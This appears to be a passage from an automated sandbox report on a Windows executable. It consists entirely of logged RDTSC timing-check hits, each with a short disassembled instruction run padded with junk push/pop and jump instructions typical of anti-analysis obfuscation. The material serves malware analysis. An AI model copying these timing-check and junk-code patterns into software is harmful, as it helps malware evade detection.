Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D90E second address: B2D937 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F4E14FCA65Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D937 second address: B2D93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E6F3 second address: B2E6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E6FB second address: B2E710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA2Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E710 second address: B2E716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E716 second address: B2E71D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E71D second address: B2E736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FCA65Bh 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007F4E14FCA656h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EF70 second address: B2EFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F4E14FBFA30h 0x0000000e pushad 0x0000000f jmp 00007F4E14FBFA38h 0x00000014 push esi 0x00000015 pop esi 0x00000016 jc 00007F4E14FBFA26h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F27C second address: B2F293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4E14FCA65Fh 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F293 second address: B2F297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F297 second address: B2F2A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34F97 second address: B34FAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34FAB second address: B34FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34FAF second address: B34FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38268 second address: B3826C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3826C second address: B38280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E14FBFA2Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38280 second address: B38287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38810 second address: B3881C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E14FBFA32h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38AE6 second address: B38AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E14FCA656h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B1E1 second address: B3B1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B1EE second address: B3B1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B1F2 second address: B3B204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B204 second address: B3B20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F4E14FCA656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41E7B second address: B41E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4E14FBFA26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4235A second address: B42360 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42502 second address: B42518 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4E14FBFA2Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F4E14FBFA26h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42518 second address: B4251C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4298E second address: B429A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA33h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429A5 second address: B429AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429AF second address: B429B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429B5 second address: B429B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B429B9 second address: B429BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42B3A second address: B42B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop esi 0x00000008 push esi 0x00000009 jng 00007F4E14FCA667h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4E14FCA666h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B42CD3 second address: B42CDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43519 second address: B4351D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4351D second address: B4353A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F4E14FBFA37h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4353A second address: B43552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49211 second address: B49215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49215 second address: B49219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49219 second address: B4921F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4921F second address: B49225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49225 second address: B4922B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4922B second address: B4922F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4922F second address: B49233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49233 second address: B49239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B494BA second address: B494BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B494BE second address: B494E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a ja 00007F4E14FCA662h 0x00000010 jo 00007F4E14FCA656h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8665E second address: A86666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A69A second address: B5A6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F4E14FCA65Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A6AB second address: B5A6C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A6C2 second address: B5A6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E14FCA660h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5A6D7 second address: B5A6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F4E14FBFA26h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5BF0F second address: B5BF1B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4E14FCA656h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E5A4 second address: B5E5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E5AA second address: B5E5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4E14FCA65Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B640F3 second address: B640F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B640F9 second address: B640FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B640FE second address: B64103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B64103 second address: B64109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B64109 second address: B64124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E14FBFA2Ch 0x00000009 jno 00007F4E14FBFA26h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B64124 second address: B6412E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E14FCA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7306F second address: B7309A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4E14FBFA3Dh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F4E14FBFA35h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007F4E14FBFA5Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7309A second address: B730A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B730A0 second address: B730A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77C42 second address: B77C5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 push eax 0x00000008 ja 00007F4E14FCA656h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77C5E second address: B77C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87286 second address: B872DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4E14FCA66Ah 0x0000000a jmp 00007F4E14FCA65Eh 0x0000000f jng 00007F4E14FCA656h 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 jl 00007F4E14FCA656h 0x0000001e jmp 00007F4E14FCA664h 0x00000023 push esi 0x00000024 pop esi 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4E14FCA663h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B872DB second address: B872DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D76C second address: B9D772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB38DB second address: BB38E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007F4E14FBFA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB27DE second address: BB27E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB291A second address: BB291E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB291E second address: BB2924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2A72 second address: BB2A83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jnc 00007F4E14FBFA26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2BA6 second address: BB2BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007F4E14FCA656h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2D0A second address: BB2D2D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F4E14FBFA36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2D2D second address: BB2D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F4E14FCA656h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2D3A second address: BB2D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E14FBFA2Fh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2D50 second address: BB2D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4E14FCA656h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2D5E second address: BB2D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2D64 second address: BB2D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3005 second address: BB3009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3009 second address: BB3030 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4E14FCA671h 0x0000000c jmp 00007F4E14FCA669h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3030 second address: BB304D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FBFA39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB640F second address: BB6413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB652D second address: BB6568 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F4E14FBFA34h 0x0000000f jmp 00007F4E14FBFA33h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6568 second address: BB656F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB656F second address: BB6583 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F4E14FBFA26h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB6821 second address: BB682F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB682F second address: BB6834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9945 second address: BB9950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4E14FCA656h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB457 second address: BBB45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB45B second address: BBB46B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBB46B second address: BBB46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD17CA second address: AD17D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD17D0 second address: AD17D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60363 second address: 4E603AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cx, B263h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F4E14FCA666h 0x00000018 or esi, 413F40A8h 0x0000001e jmp 00007F4E14FCA65Bh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603AA second address: 4E603B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov edx, dword ptr [ebp+0Ch] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b mov bh, A5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603B7 second address: 4E603FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, 4CC85B20h 0x00000013 pushfd 0x00000014 jmp 00007F4E14FCA669h 0x00000019 and si, 2E26h 0x0000001e jmp 00007F4E14FCA661h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603FC second address: 4E60402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60402 second address: 4E60406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8063C second address: 4E8064C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FBFA2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8064C second address: 4E80675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E14FCA665h 0x00000013 rdtsc
